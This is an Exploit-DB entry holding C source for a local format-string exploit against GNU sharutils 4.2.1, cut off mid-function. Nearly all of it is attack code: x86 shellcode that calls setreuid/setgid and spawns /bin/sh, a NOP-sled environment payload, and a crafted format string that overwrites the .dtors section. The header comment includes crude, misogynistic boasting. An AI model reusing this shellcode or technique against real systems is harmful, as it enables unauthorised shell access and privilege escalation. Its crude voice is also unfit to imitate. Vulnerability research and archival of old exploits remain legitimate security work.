Exploit-DB #479
Description: GNU Sharutils 4.2.1 - Local Format String
Type: local
Platform: linux
Date: 2004-09-25
Author: n4rk0tix

Exploit:
/* GNU sharutils <= 4.2.1 Local Format String POC Code
   
   C0ded by n4rk0tix (a.k.a nrktx) narkotix@linuxmail.org
   
   Below is a l4m3 proof of concept code for da recently reported lame bug;
   These binaryz have not only format bugz, but also buffer overflowz,etc.We also
   exploited the heap and the stack hole of theze binaryz.There are almost 3 wayz of exploiting
   theze elfz ,both of them r fucking boring , though, so this one is.
   
   candy@labs:/$ readelf -r `which shar` | grep uid
   08[PII_REDACTED]0e07 R_386_JUMP_SLOT 08048d7c getpwuid
   080507e0 00002807 R_386_JUMP_SLOT 08048eec getuid
   candy@labs:/$
   
    exploiting non-suid binariez is like fucking 55 yearz old woman, like i did in this code :-]
    I'm again BACK from a long cisco trip, REGROUP TEAM, go go go... , need back up ! :]
   
    Also some greetingz signaled to: Efnet,gotcha(love from .*za :] ),dm(my netmate from madagaskar),
         genjuro(my lord a.k.a Uz4yh4N),L4M3R(vurun la ipnelere ehuehu,kibriti caktim, tinerci alisti ehuehe),
         HELl0wEeN,darkhat,mathmonkey,mtrl(68000 guru),jawz,and the otherz whom i excluded them accidently :)
   
   For More Info , read the below ascii trash. Thanx _EOF_
*/
   
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>

#define _GNU_SOURCE
#define DEFAULT_DTORS_SHAR (0x08050738) /*Tested on Slackware 9.0*/
#define DEFAULT_DTORS_UNSHAR (0x0804ad74) /* This is not exploitable on every systemz */
#define DEFAULT_OFFSET_SHAR 22
#define DEFAULT_OFFSET_UNSHAR 262 /*lol, wtf stack layout do i have :],Probably useless..*/
#define SHAR_PATH "/usr/bin/shar" /*Default $PATH change if needed*/
#define UNSHAR_PATH "/usr/bin/unshar"
#define GET_DTORS_CMD "objdump -h %s | grep .dtors | awk ' { print $4 } ' > %s"
#define NOP 0x90

static int16_t WBIN = 2;

int main(void) {
        
int16_t check_bin(void);
u_int32_t get_dtors(int8_t* path);
int16_t get_auto_stack_offset(int8_t *binpath);
void banner(void);

int8_t envbuf[1000];
int8_t store_env[1010];
int8_t *shar_path = SHAR_PATH;
int8_t *unshar_path = UNSHAR_PATH;
static u_int8_t shellcode[] = // setreuid(0,0)
        "\x31\xc0" // xor %eax,%eax
        "\x31\xdb" // xor %ebx,%ebx
        "\x31\xc9" // xor %ecx,%ecx
        "\xb0\x46" // mov $0x46,%al
        "\xcd\x80" // int $0x80
        
        // setgid(0)
        "\x31\xdb" // xor %ebx,%ebx
        "\x89\xd8" // mov %ebx,%eax
        "\xb0\x2e" // mov $0x2e,%al
        "\xcd\x80" // int $0x80
        
        // execve /bin/sh
        "\x31\xc0" // xor %eax,%eax
        "\x50" // push %eax
        "\x68\x2f\x2f\x73\x68" // push $0x68732f2f
        "\x68\x2f\x62\x69\x6e" // push $0x6e69622f
        "\x89\xe3" // mov %esp,%ebx
        "\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
        "\x50" // push %eax
        "\x53" // push %ebx
        "\x8d\x0c\x24" // lea (%esp,1),%ecx
        "\xb0\x0b" // mov $0xb,%al
        "\xcd\x80" // int $0x80
 
        // exit();
        "\x31\xc0" // xor %eax,%eax
        "\xb0\x01" // mov $0x1,%al
        "\xcd\x80"; // int $0x80
 
     
banner();
if(!check_bin())
exit(EXIT_FAILURE);
 
memset(envbuf,NOP,sizeof(envbuf));
strcpy((int8_t *)&envbuf[sizeof(envbuf) - strlen(shellcode)],shellcode);
memcpy(store_env,"CANDY=",6);
strcat(store_env,envbuf);
putenv(store_env);
 if(!putenv) {
   if(errno == ENOMEM) {
   strerror(errno);
   exit(EXIT_FAILURE);
   }
 }
const int8_t *USEBIN;
int16_t USE_OFFSET;
        
if(WBIN == 1){
printf("[+]Exploiting the unshar binary\n");
USEBIN = unshar_path;
}
if(WBIN == 2){
printf("[+]Default binary is shar\n");
USEBIN = shar_path;
}
if(WBIN == 3) {
printf("[+]Exploiting Shar binary\n");
USEBIN = shar_path;
}
        
int8_t store[200];

u_int32_t fakebuf = 0xbffffffa - strlen(store_env) - strlen("/usr/bin/shar") + 50;
        
u_int32_t write_dtors = get_dtors((int8_t *)USEBIN);
int8_t *dtors_target[3] =
        
               { (int8_t *) write_dtors + 2,
                 (int8_t *) write_dtors,
                  NULL
               };
        
 
int16_t env_most,
         env_low;


env_most = (fakebuf & 0xffff0000) >> 16 ;
env_low = (fakebuf & 0x0000ffff);


env_most -= 0x8;
USE_OFFSET = get_auto_stack_offset((int8_t *)USEBIN);
 
sprintf(store,"%s%%.%dx%%%d$hn%%.%dx%%%d$hn",
   
                &dtors_target,
                (u_int16_t)env_most,
                USE_OFFSET,
                (env_low - env_most) - 0x8,


                USE_OFFSET + 1);

fprintf(stdout,"[+]Type some command,sh$ prompt may not occur\n");
fprintf(stdout,"[+]Terminal echoing is possibly off \n");
fprintf(stdout,"Type any shell command Here i.e 'id' or 'ps aux'\n");
execlp(USEBIN,USEBIN,store);
fflush(stdin);
fflush(stdout);
return EXIT_SUCCESS; // useless, never return
}




int16_t check_bin(void) {
 
 int8_t *filename_shar = SHAR_PATH;
 int8_t *filename_unshar = UNSHAR_PATH;
 int16_t i = 2;
  if( access(filename_shar,F_OK) != 0){
   fprintf(stderr,"%s Not found, Checking %s\n",filename_shar,filename_unshar);
   i--;
   WBIN = 1;
   }

 if( access(filename_unshar,F_OK) != 0) {
  fprintf(stderr,"%s Not found\n",filename_unshar);
   i--;
   WBIN = (WBIN == 1) ? 0 : 3;
   }
 if(!i) {
   fprintf(stderr,"Sorry dude, no binary available for exploiting.\n");
   exit(EXIT_FAILURE);
   }
 fputs("[+]Binary checking passed\n",stdout);
 return(i);
}

u_int32_t get_dtors(int8_t* path) {
 
 FILE *readit;
 int *tmpfile;
 int8_t tmpfull[32];
 char *store_dtors;
 
 int16_t status;
 int16_t length;
 
 ssize_t read;
 u_int32_t findme;
 int8_t *dtorsbuf = NULL;
 bzero((int8_t *)tmpfull,sizeof(tmpfull));
 
 strncpy(tmpfull,"/tmp/candyXXXXXX",strlen("/tmp/candyXXXXXX"));
 tmpfile = (int *)mkstemp((i